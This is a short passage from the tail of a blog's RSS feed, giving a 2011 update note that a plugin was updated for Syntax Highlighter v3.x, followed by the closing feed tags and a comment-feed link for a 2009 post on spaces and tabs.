<p><strong>Update 2/23/11:</strong> Plugin updated for Syntax Highlighter v3.x.</p>
]]></content:encoded>
			<wfw:commentRss>http://adamrosenfield.com/blog/2009/07/03/spaces-and-tabs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

